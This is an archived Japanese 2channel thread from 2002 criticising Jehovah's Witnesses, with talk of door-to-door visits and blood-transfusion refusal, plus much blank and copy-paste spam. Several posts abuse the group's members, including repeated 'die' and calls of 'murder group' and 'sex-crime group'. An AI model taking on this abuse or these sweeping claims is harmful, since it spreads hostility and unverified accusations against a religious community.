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エホバの証人ふざけるな!18

1 :名無しさん@1周年:02/06/26 11:40
前スレ エホバの証人ふざけるな!17
http://life.2ch.net/test/read.cgi/psy/1020578747/l50
過去ログは>>2・関連スレッドは>>3・関連サイトは>>4を参照

前スレのレスが900を超えて、新スレに移行するのを見るとき、
わたしたちは心から大きな喜びに満たされます。
かれらは、そして私たちはなんと多くの記録を築き上げてきた
のでしょう。

改めて、エホバの証人ふざけるな!

2 :名無しさん@1周年:02/06/26 11:41
2 :本スレッド過去ログ :02/03/17 23:55
エホバの証人ふざけるな!過去ログ

エホバの証人ふざけるな!17
http://life.2ch.net/test/read.cgi/psy/1020578747/l50
エホバの証人ふざけるな!16
http://life.2ch.net/psy/kako/1016/10163/1016376861.html
エホバの証人ふざけるな!15
http://life.2ch.net/psy/kako/1014/10143/1014382587.html
エホバの証人ふざけるな!14
http://life.2ch.net/psy/kako/1012/10128/1012866471.html
エホバの証人ふざけるな!13
http://life.2ch.net/psy/kako/1011/10112/1011258709.html
エホバの証人ふざけるな!12
http://life.2ch.net/psy/kako/1009/10094/1009444152.html
「エホバの証人ふざけるな!11」
http://life.2ch.net/psy/kako/1008/10085/1008571192.html
「エホバの証人ふざけるな!10」
http://life.2ch.net/psy/kako/1007/10075/1007556008.html
「エホバの証人ふざけるな!9」
http://life.2ch.net/psy/kako/1006/10064/1006449098.html
「エホバの証人ふざけるな!!8」
http://life.2ch.net/psy/kako/1004/10049/1004966163.html
「エホバの証人ふざけるな!7」
http://life.2ch.net/psy/kako/1001/10010/1001077753.html
エホバの証人ふざけるな!6
http://mentai.2ch.net/psy/kako/999/999808106.html
エホバの証人ふざけるな!5
http://mentai.2ch.net/psy/kako/997/997602900.html
エホバの証人ふざけるな!4
http://mentai.2ch.net/psy/kako/993/993310282.html
エホバの証人ふざけるな!3
http://mentai.2ch.net/psy/kako/978/978355067.html
エホバの証人ふざけるな!2
http://mentai.2ch.net/psy/kako/966/966683815.html

そして栄光の 初代スレ ( 歴史はここから始まったんですねえ )
        エホバの証人ふざけるな!
http://mentai.2ch.net/psy/kako/951/951807202.html

3 :名無しさん@1周年:02/06/26 11:42
3 :関連スレッド :02/03/17 23:56
2ch および第二心と宗教板@みにふろのJW関連スレッド
(稼働中のもののみ、かつネタスレ・重複スレとして削除申請中のものを
 除く)
なおJW=Jehovah's Witnesses です。

★★ みんなで作ろう「エホ証用語の基礎知識」5
http://life.2ch.net/test/read.cgi/psy/1001498157/l50
★☆【エホバの使用人@質問箱@】☆★
http://www.miniflo.com/bbs/test/read.cgi?bbs=psy&key=1004510837&ls=50
エホ証の性活
http://www.miniflo.com/bbs/test/read.cgi?bbs=psy&key=1008693682&ls=50
エホ証のむち何が一番痛いんだ?
http://www.miniflo.com/bbs/test/read.cgi?bbs=psy&key=1011338888&ls=50
現役エホ証交わりの部屋〜築きあげる会話をしよう2
http://life.2ch.net/test/read.cgi/psy/1016425138/l50
輸血拒否の患者に遭遇しましたDrいますか?
http://ton.2ch.net/test/read.cgi/hosp/1008336535/l50
最近エホバの人が来るんだけど・・・
http://life.2ch.net/test/read.cgi/psy/1015140231/l50


4 :名無しさん@1周年:02/06/26 11:42
4 :関連サイト :02/03/17 23:57
−−− JW関連サイト −−−
JW@2ch Watcher%JWスレッド@2chの過去ログはこちらから
http://jw2ch.tripod.co.jp/
JWIC%批判系サイトではここが随一! 記事の水準も高く、更新も早い。
http://www.jwic.com/
エホバの証人と血の教え
http://www.geocities.com/Athens/Agora/2105/index.htm
エホバの証人と医療
http://web.archive.org/web/20010415163428/www.jw-media.f2s.com/medical/medical_care.htm
エホバの証人に疲れた人メーリングリスト%「脱会届の書き方」など実用的リソースが充実
http://www.stopover.org/
『エホバの証人をキリストへ』(大野キリスト教会新世界訳研究会)%IEでないと表示できない可能性があり

ます。
http://www.geocities.com/Athens/Agora/3207/JWTC.htm
エホバの証人問題を考える会公式ホームページ%「エホバの証人被害者全国集会」を共催。他の破壊的カルト

被害者の会とも連携を取りつつ活動している様子。
http://members.tripod.co.jp/thinkJW/      
真理のみことば伝道協会
http://www.geocities.com/Athens/Agora/3207/index.htm
エホバの証人と科学
http://www.geocities.co.jp/Technopolis/7256/


5 : :02/06/26 12:49
2世うざい

6 :名無しさん@1周年:02/06/26 16:38
1世うざい

7 :名無しさん@1周年:02/06/26 16:55
3世ですが何か?

8 :5:02/06/26 19:06
>>6
2世ですが何か?
もうやめてますけど、、
背教者はエホ証を迫害するって昔から聞いていました。
そのとおり迫害する人もいるんですね (w

9 :boy's ◆yRaJFlJ. :02/06/26 21:01
うむむ。。。
「2ちゃんねる」にコリコリ書いてるけど、これは「迫害」ですか。
言葉としての暴力にもなっていない、と思うけど。
これを迫害と言われのでは、なにも言えないですね。

10 :名無しさん@1周年:02/06/27 12:33
折原兄弟、ついでに
これも頼んます。

11 :名無しさん@1周年:02/06/27 12:42
幼少時より、迫害の話はよく聞かされたよ。
ハルマゲドン&迫害の、恐怖二点セットだな。

JWの頭に”迫害”がこびりついちゃってて、困ったもんだ。
自分達だけ正しい=迫害される と思考する。





12 :名無しさん@1周年:02/06/27 13:16
それで、これから
どうするつもりだ?

13 :名無しさん@1周年:02/06/27 13:48
>11
それだけ自己を客観的に見れるなら、
まだ救われる可能性はあるよ。

14 :名無しさん@1周年:02/06/27 14:13
研究生を育てる業は非常に喜びある奉仕です。
◯○さんはここを見てませんように。

15 :名無しさん@1周年:02/06/27 14:55




























16 :名無しさん@1周年:02/06/27 14:56


17 :名無しさん@1周年:02/06/27 16:05






























18 :名無しさん@1周年:02/06/27 16:11
 

19 :名無しさん@1周年:02/06/27 16:24





























20 :名無しさん@1周年:02/06/27 16:40

































21 :名無しさん@1周年:02/06/27 16:42


22 :名無しさん@1周年:02/06/27 16:55


































23 :名無しさん@1周年:02/06/27 17:12





























24 :名無しさん@1周年:02/06/27 17:28































25 :名無しさん@1周年:02/06/27 17:36


































26 :名無しさん@1周年:02/06/27 17:37
┌──────────────────────―─―┐
│                                      |
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│                ∧_∧                      |
│               ( ・∀・)                |
│               (    )                 |
│               | | |                     |
│               (__)_)                  |
|              2ちゃんねる               |
│                                      |
│            スレッドを終了しています…           |
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|                                      |
└───────────────────────――┘


(省略されました・・全てを読むにはここを押してください)


684 名前:名無しさん@1周年 :02/06/27 17:31
亀頭先生が勝手に反カルトにされてる。アンチなのにね。カルトはダメですねえ。
カルトはよっぽど亀頭が恐いんだね。なさけな

27 :名無しさん@1周年:02/06/27 18:03































28 :名無しさん@1周年:02/06/27 18:54
































29 :名無しさん@1周年:02/06/27 18:55


30 :名無しさん@1周年:02/06/27 19:24



























31 :名無しさん@1周年:02/06/27 19:26


32 :名無しさん@1周年:02/06/27 19:27


33 :名無しさん@1周年:02/06/27 19:28


34 :名無しさん@1周年:02/06/28 07:55































35 :名無しさん@1周年:02/06/28 08:20





























36 :名無しさん@1周年:02/06/28 09:21






























37 :名無しさん@1周年:02/06/28 09:43































38 :名無しさん@1周年:02/06/28 10:27

































39 :名無しさん@1周年:02/06/28 11:08






























40 :名無しさん@1周年:02/06/28 11:59






























41 :名無しさん@1周年:02/06/28 12:40
































42 :名無しさん@1周年:02/06/28 12:54
































43 :boy's@JW反対者 ◆yRaJFlJ. :02/06/28 14:21
つか、これこそ誰にも発言させない、って迫害じゃあないの?


44 :名無しさん@1周年:02/06/28 14:42

































45 :名無しさん@1周年:02/06/28 14:54





46 :名無しさん@1周年:02/06/28 15:17
いいね。このスペース作戦。
皆の発言の意識を無くしてますね。

47 :名無しさん@1周年:02/06/28 15:35
自作自演はエホバの特徴!オウム真理教そっくり。

48 :名無しさん@1周年:02/06/28 15:46
>>46
>皆の発言の意識を無くしてますね。
って何?

49 :名無しさん@1周年:02/06/28 16:03
http://isweb31.infoseek.co.jp/play/shiripen/koyo3.jpg
教育熱心

50 :名無しさん@1周年:02/06/28 18:03
自作自演とはね。

51 :名無しさん@1周年:02/06/28 22:13


































52 :名無しさん@1周年:02/06/28 22:16


































53 :名無しさん@1周年:02/06/28 22:42

































54 :boy's ◆yRaJFlJ. :02/06/28 22:48
ああ、だいぶストレス溜まっちゃた人が居るみたいだね。
インナーチャイルド・プログラムを受けたら。

55 :名無しさん@1周年:02/06/28 23:19
>>空白
お前が止めた時点で元通りのエホ証叩きがはじまるだけだぜ?
気付いていないようだから言うけど、その行動、誰も困ってないぞ。

ていうか、エホ証スレが乱立しているから、いっそのこと1000まで続けて
終わらせてくれ。

56 :名無しさん@1周年:02/06/28 23:25
暇な人間だな。ちゃんと働け

57 :名無しさん@1周年:02/06/28 23:37
≫55
どうやらそのつもりらしい・・・。

58 :boy's ◆yRaJFlJ. :02/06/29 00:24
そーいえば、
偽りの宗教を晒し上げにするのは「迫害」にならん。
という話をどこかで聞いた気がしるにゃ。。。


59 :名無しさん@1周年:02/06/29 00:33
あぶりだしスレはここですか?

60 :名無しさん@1周年:02/06/29 00:52
無意味な空白荒らしがエホ証関連スレで同時多発的に
発生している様子。これってもはや、
公共物に対する破壊活動と同じですよ。どうなってるんや?

61 :名無しさん@1周年:02/06/29 00:53
>>60
このスレッドは自作自演すれです。

62 :名無しさん@1周年:02/06/29 02:22
>>60

>無意味な空白荒らしがエホ証関連スレで同時多発的に
>発生している様子。

多発だけど、同時じゃないよ。同じ人間がやってるから。
あれ、そろそろやばいよ。

63 :名無しさん@1周年:02/06/29 08:26
エホバは姑息だね。
荒らしを自作自演だからね。

64 :名無しさん@1周年:02/06/29 08:31
×・・・・・エホバは姑息だね。
○・・・・・反エホは姑息だね。


65 :名無しさん@1周年:02/06/29 10:55
64の方は洗脳されちゃったんだね。

66 :60:02/06/29 11:27
>>62
うまいこと言うね

67 :名無しさん@1周年:02/06/29 12:01
エホバは、訪問先で嘘を吐く。

68 :名無しさん@1周年:02/06/29 13:30
エホバが世界の常識だと洗脳されているから聞く耳持たない。

69 :名無しさん@1周年:02/06/29 13:57



















 
 
 
 
 
  
 
 
 
 
 
 
 
 
 
                                            

70 :名無しさん@1周年:02/06/29 14:00





































71 :名無しさん@1周年:02/06/29 14:38
エホバの証人情報センターが更新されています。

エホバの証人の児童性的虐待者問題報道のその後 他

72 :名無しさん@1周年:02/06/29 14:44
エホバは性犯罪団体だったんですか。

73 :boy's ◆yRaJFlJ. :02/06/29 15:03
jwic.comを読んできました。

こーさ、
「エホバの証人」って社会的なプラスの面あるのかなあ?
なんか、マイナス面ばかりあるなあ。


74 :名無しさん@1周年:02/06/29 15:46
エホバは性犯罪団体だったんですか。 

ニュースで見ました。

75 :名無しさん@1周年:02/06/29 16:07
エホバは性犯罪団体だったんですか。 

ニュースで見ました。

恐ろしい宗教だ。

76 :名無しさん@1周年:02/06/29 16:31
エホバの証人の児童性的虐待者問題報道

77 :名無しさん@1周年:02/06/29 17:25
☆☆婆が二人雨の中ご苦労様。☆☆☆☆

開口一番
「以前からこちらに住んでいた方か確認に来ました。」

何の用か聞くと
「奉仕活動をしている者です」

何の団体と聞くと
「エホバの証人」

お前らは本当に非常識な馬鹿キチガイだ。

なぜ毎度毎度初めから名乗らないんだ。

カルトだから名乗れないんだよな。

似非宗教の非合法団体は日本から出て行け。

二度と来るな。

迷惑だ。

乞食ルンペンの犯罪集団。

インチキ。

ペテン。

地獄行き決定。

死ね
死ね
死ね。

輸血を懇願する子どもを見殺しにした殺人団体。

子ども一人の命より、金、かね、カネなんだよね。


78 :名無しさん@1周年:02/06/29 17:42
472 :名無しさん@1周年 :02/06/29 17:22
>>471
>二度と来るな

奉仕者にそのように申してください
匿名で書かれてもどなたか特定できませんので

二度と来るなと言っても
前に住んでいた方か確認に来ました!
性根が腐り切っているんだよ、エホバは。。。。。。。。


79 :名無しさん@1周年:02/06/29 17:49
いえいえ、遠慮しないでください

80 :名無しさん@1周年:02/06/29 19:12
     エホバは糞宗教
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)  (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


81 :名無しさん@1周年:02/06/29 20:33
> 前に住んでいた方か確認に来ました!

(本音)もうそろそろ氏んだ頃かなーって

同じ町内会に住んでいて知らないはずはない。
なるほど、エホバは嘘までついて訪問したわけだ。
犯罪集団だということがこれでハッキリしました。


219 :名無しさん@1周年 :02/06/29 20:01
催眠商法の一種ですか


220 :名無しさん@1周年 :02/06/29 20:30
エホバの連中は必ず近所に住んでいるという。
近所にすんでれば、町内会の掲示板に「訃報」が掲示されるからわかるし、
御通夜と葬儀があるからわかるものです。
嘘までついて人を騙そうとする体質なんですね。
。。。。。

82 :名無しさん@1周年:02/06/29 20:35
http://www.ami-art.com/
http://www.fukami-philanthropy.com/
http://www.fukami-academia.com/
http://www2.csc.ne.jp/~geijyutu888/
http://members.tripod.co.jp/egyptonoh/
http://www35.tok2.com/home/cooking/
http://www27.tok2.com/home/usikosann/
http://www.geocities.co.jp/CollegeLife-Club/5459/
http://www.tachibana-inc.co.jp/newbook/gasyu_pic.html
http://www2.neweb.ne.jp/wd/555t/
http://www.jbga.org/
tachibana-inc.co.jp/newbook/gasyu_pic.html
http://www2.neweb.ne.jp/wd/555t/
http://www.jbga.org/
http://www6.ocn.ne.jp/~hana24/fre.htm

http://www.fukami-art.com/
http://www.fukami-philanthropy.com/
http://www.fukami-academia.com/
http://www2.csc.ne.jp/~geijyutu888/
http://members.tripod.co.jp/egyptonoh/
http://www35.tok2.com/home/cooking/
http://www27.tok2.com/home/usikosann/
http:///
http://www.jbga.org/
http://www6.ocn.ne.jp/~









83 :名無しさん@1周年:02/06/29 22:25
エホバは、無知・無教養の世間知らずだということですね。

聖書をウンヌン言う前に一般常識や礼儀を身につけたら。

84 :名無しさん@1周年:02/06/29 23:03
エホバの証人は身の程知らずで押しつけがましい。
「自己犠牲」だなんてとんでもない、他人を犠牲にしてのうのうと
神様とやらに救われようとしているとんでもない人間の集団です。

85 :名無しさん@1周年:02/06/29 23:05
エホバの証人の友人が以前いましたが、とんでもない自己中でした。
彼女の友達にも、彼女には注意するように言うつもりです。
クラスにエホバの証人がひとりいて、一見いい人ですが、絶対信用しません。

86 :名無しさん@1周年:02/06/29 23:07
エホバの証人は、聖書に従って輸血もしない人たちです。
しかし、何故か鶏肉を食べます。何故ですか?
聖書には、人間は4本足で歩く動物は食べて良い、とあるのに・・・

87 :名無しさん@1周年:02/06/29 23:08
彼らは寺にまで勧誘に来ます。
アフォですか?

88 :名無しさん@1周年:02/06/29 23:10
【エホバの証人撃退法】

 エホバの証人は十字架が大嫌い。なぜなら偶像崇拝を禁じるからです。
そしてお経も大嫌い。仏像も嫌い。数珠も嫌い、おまじないも駄目、
勧誘が来たら「きみょうむりょう・・・・」と唱えるのが良いでしょう。
十字架でも見事に去ってくれます。まるで悪魔のようです。

89 :名無しさん@1周年:02/06/29 23:17
エホバのスレって18もあったっけ?
以外。

90 :boy's ◆yRaJFlJ. :02/06/30 00:07
>>83
>エホバは、無知・無教養の世間知らずだということですね。

そこまでは言わないけど、マナーが無いんじゃない。
一般的な日本人は面と向かって「くるな。」とか言え無いと思うなあ。
せいぜい迷惑そうな顔をするだけだと思うなあ。
きっちり断られないかぎり、行っても良いと考えるのはJWの理屈。

91 :名無しさん@1周年:02/06/30 00:09
いつの日かすべての人が互いを愛するようになりますか?

92 :名無しさん@1周年:02/06/30 00:18
>>87
「公平な神」に倣っています


93 :名無しさん@1周年:02/06/30 00:21
>>88
>十字架でも見事に去ってくれます。まるで悪魔のようです
悪魔も訪問したことあるんだ あんたの家

94 :名無しさん@1周年:02/06/30 00:44
>>93
ハァ?
邪悪なモノの総称として用いてみました。
ていうか
現役証人ですか?実際どうなんですか?
迷惑行為に対する罪悪感とかちゃんと感じてますか?

95 :名無しさん@1周年:02/06/30 00:49
>>92
なるほど
でも余所の宗教の迫害は禁止されてなかったっけ
寺への乗り込みが迫害じゃないなら、
私は王国会館に仏教を説きに行きますが。

96 :名無しさん@1周年:02/06/30 00:50
>>94
>迷惑行為に対する罪悪感とかちゃんと感じてますか?
迷惑そうな態度を示す人には早々に立ち去るようにしております
そうすることで罪悪感は生じません


97 :名無しさん@1周年:02/06/30 00:55
>迷惑そうな態度を示す人には早々に立ち去るようにしております
>そうすることで罪悪感は生じません

エホバの証人の総意ですか?

98 :名無しさん@1周年:02/06/30 01:20
最近エホおばちゃんがこなくなったのは
十字架を表札の下につるしといた効果かしら。
なんでこれが利くのかしら

99 :名無しさん@1周年:02/06/30 01:32
にんにくも利きますか?

100 :名無しさん@1周年:02/06/30 01:37
なんでか知らないけど、元友達でエホバやってた子は十字架嫌ってた。
ていうか、エホバの証人は他の宗教やってる人には強制しないってことに
なってるらしい。


嘘ばっかりみたいだけど。

101 :名無しさん@1周年:02/06/30 01:40
にんにくも効いたらおもしろいけど

効かないと思う

102 :名無しさん@1周年:02/06/30 03:05
エホ笑はキリストが磔になったのは十字架ではなく真っ直ぐな杭だと思っているので。
十字架=悪魔なんですな。

103 :名無しさん@1周年:02/06/30 03:32
なるへそ

104 :名無しさん@1周年:02/06/30 07:12
http://www.art.gr.jp/cgi-tmp/wwwbbs.cgi?20020630050056
おおおおおおマリア

105 :名無しさん@1周年:02/06/30 08:09
>>101
にんにくはよく効くそうです
韓国サッカー選手のパワーの源はにんにくエキス100個分入り注射だそうです

106 :名無しさん@1周年:02/06/30 08:44
  エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


107 :名無しさん@1周年:02/06/30 08:48
>二度と来るなと言っても
>前に住んでいた方か確認に来ました!
>性根が腐り切っているんだよ、エホバは。。

結局彼等にとって、強引にでも信者にならせること=隣人愛
だとおもっているからな・・俺らいいことしてるっ!ていう意識しかないの
だろう・・ハルマゲが近い!!って本人らは必死だし・
めっさ嫌な人は玄関のドアにエホ証お断り!!等おふだはるのはどうかな・・


108 :名無しさん@1周年:02/06/30 09:36
お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


109 :名無しさん@1周年:02/06/30 09:38
  エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


110 :名無しさん@1周年:02/06/30 10:35
お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。



111 :名無しさん@1周年:02/06/30 10:59
どうせ今日も王国会館で洗脳したり・されたり・・・だろ?

112 :名無しさん@1周年:02/06/30 11:00
 エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


113 :名無しさん@1周年:02/06/30 11:03
お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


114 :名無しさん@1周年:02/06/30 11:05
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


115 :名無しさん@1周年:02/06/30 11:24
お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。



116 :名無しさん@1周年:02/06/30 11:27
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


117 :名無しさん@1周年:02/06/30 11:36
こんな事しても、奉仕時間にはならんよ。

118 :名無しさん@1周年:02/06/30 12:05
〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか。

119 :名無しさん@1周年:02/06/30 12:51
奉仕=社会の無駄・迷惑行為

なんだよなあ・・・・
必死で働いて生きてる人もいるのに、自分から堕落するなんて最低ですね。
いいかげん、神をネタにするのは辞めて欲しいものです>エホバの証人

120 :名無しさん@1周年:02/06/30 13:00
〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか。

121 :名無しさん@1周年:02/06/30 13:19
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

122 :名無しさん@1周年:02/06/30 14:27
〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

123 :名無しさん@1周年:02/06/30 14:29
またしてもエホ関連スレに>>115,116,117のような同時に
同じ文章の荒らしが登場。皆様、他のエホ関連スレをご覧下さい。
あの空白荒らしで現役エホ証信者じゃないかと疑われたから、
今度は、
本当はアンチがエホスレ荒らしをしているんだ、
というように見せかけているのでは?

124 :名無しさん:02/06/30 14:33
所詮アホだろう。マジで。

125 :名無しさん@1周年:02/06/30 15:36
〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

126 :名無しさん@1周年:02/06/30 16:13
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


127 :名無しさん@1周年:02/06/30 16:15
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


128 :名無しさん@1周年:02/06/30 16:17
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


129 :名無しさん@1周年:02/06/30 16:36
〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

130 :名無しさん@1周年:02/06/30 17:34
二度目の訪問なら、110番すれば来てくれる。

131 :名無しさん@1周年:02/06/30 18:15
なるほど<110番

132 :名無しさん@1周年:02/06/30 18:26
>>83
いや、それは逆なんだ。
無知・無教養の世間知らずだから、入信できるんだよw
そうでなきゃ入信しないだろ、普通。

133 :名無しさん@1周年:02/06/30 18:47
.∧w∧     ∧w∧
これずれてよ
なおせないの?チミ


134 :名無しさん@1周年:02/06/30 18:52
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


135 :名無しさん@1周年:02/06/30 18:52
       /     \
     /  / ̄⌒ ̄\
     /   / ⌒  ⌒ |
    | /  (・)  (・) |
  /⌒  (6     つ  |   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 (  |  / ___  |  < エホバ助けてーー
  − \   \_/  /    \_________
      \____/
____ /__\___ _
| |目))__ 、` ´,___))目
 ̄ ̄ ̄ ̄ | || 。) 。) ̄ ̄ ̄
      | ||  . |
      | (  v |
      | ||_|__|
      | ||  | |
      | ||=| =|
      | |\_)、_)
      | |   |
      | |   |
      | |   |
      | |   |


136 :名無しさん@1周年:02/06/30 21:53
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


137 :名無しさん@1周年:02/06/30 23:52
「元信者の立場から一言

 「読めない」のでもなく「見えない」のでもありません。
 「無視してる」のです。


138 :名無しさん@1周年:02/07/01 00:06
(゚д゚≡゚д゚≡゚д゚) ナニココ!?

139 :名無しさん@1周年:02/07/01 00:13
ム板より
-----
37 :棄教者 ◆witdLTi2 :02/05/15 18:27
やべ。くそスレageちゃった。ごめそ。
-----
39 :デフォルトの名無しさん :02/05/15 18:31
>>37
ageるにしろsageるにしろ
お前の書き込みが面白かったことって一度もないよ。
-----

惨めな棄教者。
霊的な兄弟関係を捨てて世との交友を求めたのに
その世からさえも受け入れられないとは・・・。

140 :名無しさん@1周年:02/07/01 00:18
(゚д゚≡゚д゚≡゚д゚) ナニココ!?

141 :アフォは消えな:02/07/01 00:43
>>140
(゚д゚) ナニオマエ!?

142 :名無しさん@1周年:02/07/01 00:52
神を信じている・信じていないとか言う以前に
「人」としてどうかな?・・・・エホバの証人。

143 :名無しさん@1周年:02/07/01 01:17
>>142
人に注目するのは「木を見て森を見ず」状態に陥りやすく危険。
神に導かれている組織全体に目を向けないと。
人間は不完全で間違いを犯しやすいけど
大事なのはエホバ神から愛され用いられているか
ということ、それだけなんだから。
あら探しするのはサタンの思うつぼだよ。

144 :名無しさん@1周年:02/07/01 01:52
組織の殆どは党派心から人を裁くものだ。ここが唯一絶対の正義で他は悪だと。
それによって戦争がおこり、多くの国が滅んだ。そして人々も。
全て宗教は神の名の下に他を糾弾し、殺戮を行なってきた。これは冒涜である。神に対する最大の冒涜である。
組織を造るのも人ならば運営するのも人ではないか。そもそも聖書には党派心が悪であるとは書いてなかったか。
正しいのは神お一方である。悪を避けなさい。ただ堪え忍びなさい。裁きは神にゆだねなさい。

145 :名無しさん@1周年:02/07/01 02:14
>>143
それで肝心の「組織」が(上へ行く程)腐りきってますが、何か?

146 :名無しさん@1周年:02/07/01 02:49
組織に属する者すなわちサタン




147 :名無しさん@1周年:02/07/01 03:24
≫146
いや、組織に属する者がサタンなのではなく、組織を運営する者が不完全な人間である以上、そこにサタンが入ることがあるのである。
それは組織のエゴ、即ち組織の正当化としてあらわれ、また運営する者のエゴ、即ちその者の権力欲や金銭欲などにあらわれる。

148 :名無しさん@1周年:02/07/01 08:26
/       ,. ソ ノ |ミノ丿ミ:、
     /   彡彡ミ/  ミヽ乂ハ. ',ヽ彡
     | ミl``ヽ;;;;./         〉
 ___ | ',   |:::l.  ´<lニ::iilーrイ
      `-\ .l:::l.     ,  ∨
      | ヽ  l::::l   , '/_`二「
      |  ヽ `    /,. "´ ̄/
        |   ヽ .    ヽ__j'   王国会館で・・・
       ', ヘ.._\   ``/    ハッカ−チ−ム作りましょう!!

149 :boy's ◆yRaJFlJ. :02/07/01 09:20
私、ふっと、思ったんだが
聖書に書かれている神と、JWの信仰しているエホバ神は違う神様と思う。。



150 :名無しさん@1周年:02/07/01 09:25
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


151 :名無しさん@1周年:02/07/01 09:26
     ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    (∩・∀・)<>>149あたぼうよ、ァ
□……(つ え* )  \__________________
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|


152 :名無しさん@1周年:02/07/01 09:53
〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか


153 :名無しさん@1周年:02/07/01 10:10
>>152
エホ証関連の各スレにコピペされてて、反対者としてもうっとうしいのですが、
とりあえず、伝統と歴史のこのスレで愚答を一つ。

日本赤十字社の社員になって、会員ステッカー(の名称でいいのかな)を
貼っておいてはいかが?
十字架だし、献血・輸血肯定の印でもあるし、
国際的に活動する団体(ユニセフとかもちろん国連とか)は嫌悪の対象らしいし。
(でも十字架も見えなかったりして・・・)

154 :名無しさん@1周年:02/07/01 10:28
>>153
>日本赤十字社の社員になって、会員ステッカー(の名称でいいのかな)を
貼っておいてはいかが?
十字架だし

十字架? エホ証は吸血鬼ドラキュラじゃないんだぞ!
しかし にんにくは苦手だ 

155 :名無しさん@1周年:02/07/01 10:33
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


156 :名無しさん@1周年:02/07/01 10:57
>>154
ものみの塔の教えでは、十字架は否定されている。
新世界訳聖書では「苦しみの杭」と表現されている。
独自性を出したいがためだけのことと一般にはとらえられている。

157 :名無しさん@1周年:02/07/01 12:02
>>143
組織的にも、いかがなものかと・・・・・
組織的な隠蔽体質とかねぇ・・・・



158 :名無しさん@1周年:02/07/01 12:13
(゚д゚≡゚д゚≡゚д゚) ナニココ!?

159 :名無しさん@1周年:02/07/01 13:37
>>165
そうともいえないんじゃないの?
いわゆる正統派教会で「十字架の形をしていることに意義がある」と
云っていた神父を知ってるので。根拠は知らないけど。

160 :名無しさん@1周年:02/07/01 13:41
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


161 :名無しさん@1周年:02/07/01 13:59
